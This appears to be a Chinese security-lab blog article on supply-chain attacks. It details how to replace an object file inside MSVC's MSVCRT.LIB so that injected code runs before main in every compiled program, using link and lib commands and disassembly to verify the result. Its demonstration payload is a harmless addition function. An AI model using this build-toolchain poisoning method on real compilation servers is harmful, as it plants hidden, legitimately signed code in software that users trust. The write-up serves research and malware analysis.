1. 序言
供应链攻击是一种传播间谍软件的方式,一般通过产品软件官网或软件包存储库进行传播。通常来说,黑客会瞄准部署知名软件官网的服务器,篡改服务器上供普通用户下载的软件源代码,将间谍软件传播给前往官网下载软件的用户。在实施攻击时,有一种方式是通过污染上游厂商的编译环境来携带攻击者的恶意载荷。
在污染编译环境时,对污染文件的选择上,需要关注两个重点,第一,要确保被污染分代码能够被编译进目标程序,第二,需要足够隐蔽,防止被安全工具检测到。在Windows环境下,通过替换MSVC的C标准运行库的方式可以同时达到上诉两种要求,下面详细介绍该技术的实现细节。
2. 环境与工具
靶场Windows靶机 任意版本visual studio MSVC组件
3. MSVC组件
MSVC全称Microsoft Visual C++,是微软公司的免费C++开发工具,具有集成开发环境,可提供编辑C语言,C++以及C++/CLI等编程语言。VC++集成了便利的除错工具,特别是集成了微软Windows视窗操作系统应用程序接口(Windows API)、三维动画DirectX API,Microsoft .NET框架。可以通过打开Visual Studio Installer查看MSVC组件文件目录,需要污染的C标准运行库就是在该目录下。
MSVC有多个版本,可以通过设置中的平台工具集确认自己当前使用的版本,由于笔者当前使用的版本是v143,即14.3。
4. C标准运行库-MSVCRT.LIB
1. 什么是MSVCRT.LIB
Visual Studio使用的CRT静态库文件为MSVCRT.LIB,CRT全程为C runtime Library,意义为Windows的C标准运行库,初始CRT的代码位于多个库文件中,大多数软件发布时使用运行库的动态多线程RELEASE版本,该种方式在编译时需要用到MSVCRT.LIB。
图:MSVC的CRT初始化库
如果对程序进行调试,观察程序的调用堆栈,会发现程序并非是从编写的main函数开始执行的,这是因为开发者编写C代码时,入口点虽然为main函数,但是在程序运行时,程序真正的入口点为mainCRTStartup函数,在编译时会将MSVCRT.LIB的内容链接到开发者自定义代码之前。
2. MSVCRT.LIB的路径
上文中,我们介绍过MSVC组件的路径,并确定使用的版本为14.3,MSVCRT.LIB文件及其源码均在该目录下。源码文件在crtsrcvcruntime中,MSVCRT.LIB在lib文件下存在多种版本,本文使用x86下的MSVCRT.LIB进行演示。
3. 程序的执行流程
在程序运行时,真正的入口点为mainCRTStartup函数,该程序被定义在exe_main.cpp中,其源码如下。
#define _SCRT_STARTUP_MAIN #include "exe_common.inl" extern "C" DWORD mainCRTStartup(LPVOID) { return __scrt_common_main(); }
可以看到mainCRTStartup调用了scrt_common_main,根据include我们可以知道scrt_common_main被定义在了exe_common.inl中,exe_common.inl的部分代码如下。
static __declspec(noinline) int __cdecl __scrt_common_main_seh() { if (!__scrt_initialize_crt(__scrt_module_type::exe)) __scrt_fastfail(FAST_FAIL_FATAL_APP_EXIT); bool has_cctor = false; __try { bool const is_nested = __scrt_acquire_startup_lock(); if (__scrt_current_native_startup_state == __scrt_native_startup_state::initializing) { __scrt_fastfail(FAST_FAIL_FATAL_APP_EXIT); } else if (__scrt_current_native_startup_state == __scrt_native_startup_state::uninitialized) { __scrt_current_native_startup_state = __scrt_native_startup_state::initializing; if (_initterm_e(__xi_a, __xi_z) != 0) return 255; _initterm(__xc_a, __xc_z); __scrt_current_native_startup_state = __scrt_native_startup_state::initialized; } else { has_cctor = true; } __scrt_release_startup_lock(is_nested); // If this module has any dynamically initialized __declspec(thread) // variables, then we invoke their initialization for the primary thread // used to start the process: _tls_callback_type const* const tls_init_callback = __scrt_get_dyn_tls_init_callback(); if (*tls_init_callback != nullptr && __scrt_is_nonwritable_in_current_image(tls_init_callback)) { (*tls_init_callback)(nullptr, DLL_THREAD_ATTACH, nullptr); } // If this module has any thread-local destructors, register the // callback function with the Unified CRT to run on exit. _tls_callback_type const * const tls_dtor_callback = __scrt_get_dyn_tls_dtor_callback(); if (*tls_dtor_callback != nullptr && __scrt_is_nonwritable_in_current_image(tls_dtor_callback)) { _register_thread_local_exe_atexit_callback(*tls_dtor_callback); } // // Initialization is complete; invoke main... // int const main_result = invoke_main(); // // main has returned; exit somehow... // if (!__scrt_is_managed_app()) exit(main_result); if (!has_cctor) _cexit(); // Finally, we terminate the CRT: __scrt_uninitialize_crt(true, false); return main_result; } __except (_seh_filter_exe(GetExceptionCode(), GetExceptionInformation())) { // Note: We should never reach this except clause. int const main_result = GetExceptionCode(); if (!__scrt_is_managed_app()) _exit(main_result); if (!has_cctor) _c_exit(); return main_result; } } // This is the common main implementation to which all of the CRT main functions // delegate (for executables; DLLs are handled separately). static __forceinline int __cdecl __scrt_common_main() { // The /GS security cookie must be initialized before any exception handling // targeting the current image is registered. No function using exception // handling can be called in the current image until after this call: __security_init_cookie(); return __scrt_common_main_seh(); }
观察源码我们可以看到scrt_common_main中调用了安全cookie与scrt_common_main_seh,scrt_common_main_seh中通过invoke_main到达用户定义的main函数,其调用如下图所示。
上诉内容执行早于main函数,所以污染MSVCRT.LIB文件可以确保注入的代码必然被执行,又因上诉函数调用非敏感函数,通常安全工具不会对其进行检测,因此保证了隐蔽性。
5. 编译环境污染
1. 文件编译
在源码中,我们挑选一个文件进行代码注入,本文选择dyn_tls_init.c进行演示,dyn_tls_init.c的源码如下。
// // dyn_tls_init.c // // Copyright (c) Microsoft Corporation. All rights reserved. // // This source file provides a fallback definition of __dyn_tls_init_callback, // used whenever TLS initialization is not required. // // This relies on a feature of the C compiler known as "communal variables." // This does not work in C++, and the linker's alternatename features is not // sufficient here. // #include#pragma warning(disable: 4132) // const object should be initialized const PIMAGE_TLS_CALLBACK __dyn_tls_init_callback; PIMAGE_TLS_CALLBACK const* __cdecl __scrt_get_dyn_tls_init_callback() { return &__dyn_tls_init_callback; }
添加一些自定义代码
#include#pragma warning(disable: 4132) // const object should be initialized const PIMAGE_TLS_CALLBACK __dyn_tls_init_callback; add(int x,int y){ return x + y; } PIMAGE_TLS_CALLBACK const* __cdecl __scrt_get_dyn_tls_init_callback() { int x = 1; int y = 2; int z = add(x, y); return &__dyn_tls_init_callback; }
关闭编译优化选项,此过程不可省略,CTRL+F7编译;
将编译好的obj文件拷贝出来。
2. 清理原始obj
obj文件就是c文件编译之后产生的一种文件,一个c文件编译之后只会产生一个obj文件,一个lib文件是obj文件的集合,当然,其中还夹杂着其他一些辅助信息,目的是为了让编译器能够准确找到对应的obj文件,这些文件一起通过AR打包。我们需要找到这些辅助信息完成LIB文件中obj目标文件的替换。obj文件可以利用类似7z工具进行解包,解压后如下。
在目录中有两个文本文件,里面记录了obj文件对应信息,搜索dyn_tls_init.obj,搜索到D:a_work1sIntermediatecrtvcstartupuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj,该值为dyn_tls_init.obj打包时文件的路径。删除MSVCRT.LIB文件中dyn_tls_init.obj的相关信息,删除obj需要link.exe工具,该工具在MSVC的bin目录下,删除指令如下。
link -lib "XX:XXXmsvcrt.lib" -remove:D:a\_work1sIntermediatecrtvcstartupbuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj
3. 写入新编译obj
在清理完原始obj文件后,将新编译好的obj文件写入lib文件,解压lib文件后,可以发现除了文本文件外,还有一个文件夹名为D_,该文件夹代表obj文件打包前所在的磁盘盘符,也就是D盘。在通过MSVC的工具进行打包时,会根据obj所在路径创建对应的文件,并将obj的路径记录到里面的文本文件中。也就是说新编译好的文件不需要与原始obj文件在相同目录下,但是为了看起来更加完美,建议根据文本文件中的地址为编译好的obj文件创建相同的路径。写入lib文件需要用到lib.exe工具,使用指令如下。
lib "XX:XXXmsvcrt.lib" "D:a\_work1sIntermediatecrtvcstartupuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj”
写入obj后,新建一个C/C++的项目,随意编写一些代码。
编译后使用反汇编工具查看main之前的代码,发现写入dyn_tls_init.obj的功能已经被编译到工程中,反汇编代码如下。
call ___scrt_release_startup_lock pop ecx call sub_401CD0 mov esi, eax xor edi, edi cmp [esi], edi jz short loc_401783 push esi call ___scrt_is_nonwritable_in_current_image pop ecx test al, al jz short loc_401783 mov esi, [esi] push edi push 2 push edi mov ecx, esi call ds:___guard_check_icall_fptr call esi call sub_401D0B mov esi, eax cmp [esi], edi jz short loc_4017A1 push esi call ___scrt_is_nonwritable_in_current_image pop ecx test al, al jz short loc_4017A1 push dword ptr [esi] ; Callback call _register_thread_local_exe_atexit_callback pop ecx call _get_initial_narrow_environment mov edi, eax call __p___argv mov esi, [eax] call __p___argc push edi ; envp push esi ; argv push dword ptr [eax] ; argc call _main
##注入的内容 #sub_401CD0 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 1 mov [ebp+var_4], 2 mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx call sub_401D00 add esp, 8 mov [ebp+var_C], eax mov eax, offset unk_405380 mov esp, ebp pop ebp retn #sub_401D00 push ebp mov ebp, esp mov eax, [ebp+arg_0] add eax, [ebp+arg_4] pop ebp retn endp
6. 总结
通过上诉例子可以看出,污染CRT静态库文件的方式简单易用,且具有很高的隐蔽性,当攻陷对方编译服务器时,该方式危害极大,因其与源码一同被编译到项目中,会携带合法签名。希望在大家在了解其工作原理后,不仅收获了一种新的代码劫持技能,在分析恶意软件时也多了一个思路。
丈八网安蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案以及靶场仿真复现等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
审核编辑:刘清
全部0条评论
快来发表一下你的评论吧 !